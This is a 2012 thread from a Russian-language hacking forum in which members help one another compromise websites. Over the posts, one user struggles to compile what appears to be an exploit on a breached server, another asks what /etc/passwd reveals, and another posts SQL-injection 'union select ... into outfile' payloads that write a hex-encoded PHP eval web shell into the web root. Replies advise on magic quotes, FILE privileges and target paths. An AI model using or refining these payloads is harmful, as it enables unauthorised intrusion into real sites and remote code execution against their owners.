17.04.2012, 21:53
|
|
Участник форума
Регистрация: 02.07.2010
Сообщений: 140
С нами:
8348726
Репутация:
0
|
|
Сообщение от kise
Вот как то так. Что теперь мне делать?
cc, gpp, cpp пробуй
|
|
|
17.04.2012, 21:57
|
|
Познающий
Регистрация: 29.01.2012
Сообщений: 52
С нами:
7519286
Репутация:
-4
|
|
Сообщение от Mr.Snuffer
cc, gpp, cpp пробуй
------------
Сообщение от None
sh-3.1$ cpp -o c c.c
c.c:2:19: error: stdio.h: No such file or directory
c.c:3:19: error: errno.h: No such file or directory
c.c:4:20: error: stdlib.h: No such file or directory
c.c:5:20: error: string.h: No such file or directory
c.c:6:20: error: malloc.h: No such file or directory
c.c:7:20: error: limits.h: No such file or directory
c.c:8:20: error: signal.h: No such file or directory
c.c:9:20: error: unistd.h: No such file or directory
c.c:10:21: error: sys/uio.h: No such file or directory
c.c:11:22: error: sys/mman.h: No such file or directory
|
|
|
|
17.04.2012, 22:00
|
|
Постоянный
Регистрация: 27.02.2011
Сообщений: 733
С нами:
8003126
Репутация:
19
|
|
kise, тащи эти файлы с собой stdio и.т.д этих заголовочных файлов на серве нет, но судя по тому что ошибки лезут компилятор таки есть.
|
|
|
|
17.04.2012, 22:23
|
|
Познающий
Регистрация: 12.03.2012
Сообщений: 40
С нами:
7457366
Репутация:
0
|
|
Что можно извлечь из файла etc/passwd ато там столько всего что можно голову сломать?
|
|
|
|
17.04.2012, 22:30
|
|
Постоянный
Регистрация: 27.02.2011
Сообщений: 733
С нами:
8003126
Репутация:
19
|
|
http://ru.wikipedia.org/wiki/Salt#.D0.A3.D1.80.D0.BE.D0.B2.D0.BD.D0.B8_.D0.B7.D 0.B0.D1.89.D0.B8.D1.82.D1.8B
И реши что именно тебе надо и надо ли вообще.
|
|
|
|
17.04.2012, 22:43
|
|
Познающий
Регистрация: 12.03.2012
Сообщений: 40
С нами:
7457366
Репутация:
0
|
|
Столкнулся вот с токой проблеммой,чтобы прочитать файл нужно путь к файлу представить в hex,а теперь сижу и ломаю голову а как же теперь шела залить обычным запросом +union+select+1,2,3,'',5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- не получается пробовал уже и так +union+select+1,2,3,0x3c3f706870206576616c28245f47 45545be2809865e280995d29203f3e,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'--
и даже так +union+select+1,2,3,'0x3c3f706870206576616c28245f4 745545be2809865e280995d29203f3e',5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- ничего не выходит.Помогите пожалуйста
|
|
|
|
17.04.2012, 22:46
|
|
Участник форума
Регистрация: 02.07.2010
Сообщений: 140
С нами:
8348726
Репутация:
0
|
|
Сообщение от Facecontrol
Столкнулся вот с токой проблеммой,чтобы прочитать файл нужно путь к файлу представить в hex,а теперь сижу и ломаю голову а как же теперь шела залить обычным запросом +union+select+1,2,3,'',5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- не получается пробовал уже и так +union+select+1,2,3,0x3c3f706870206576616c28245f47 45545be2809865e280995d29203f3e,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'--
и даже так +union+select+1,2,3,'0x3c3f706870206576616c28245f4 745545be2809865e280995d29203f3e',5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21+into+outfile+'/var/www/html/azaz.html'-- ничего не выходит.Помогите пожалуйста
Если это магические ковычки, то +'/var/www/html/azaz.html'- тоже хексить надо.
|
|
|
|
17.04.2012, 22:50
|
|
Познающий
Регистрация: 12.03.2012
Сообщений: 40
С нами:
7457366
Репутация:
0
|
|
Сообщение от OxoTnik
Facecontrol
а у твоего юзера права есть? и есть права на папку куда ты пытаешься залить шел?
и добавь в запрос
20,21
+from+mysql.user
+into+outfile+'/home/site.com/www/shell.php
File_priv Y а как проверить права на папку куда лить шелл?
|
|
|
|
17.04.2012, 22:51
|
|
Участник форума
Регистрация: 02.07.2010
Сообщений: 140
С нами:
8348726
Репутация:
0
|
|
Сообщение от OxoTnik
ковычки должны быть оригинальными без шифрования, иначе никак
Вот дерьмо
|
|
|
|
17.04.2012, 22:57
|
|
Познающий
Регистрация: 12.03.2012
Сообщений: 40
С нами:
7457366
Репутация:
0
|
|
Сообщение от Mr.Snuffer
Если это магические ковычки, то +'/var/www/html/azaz.html'- тоже хексить надо.
и так пробовал не получается
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
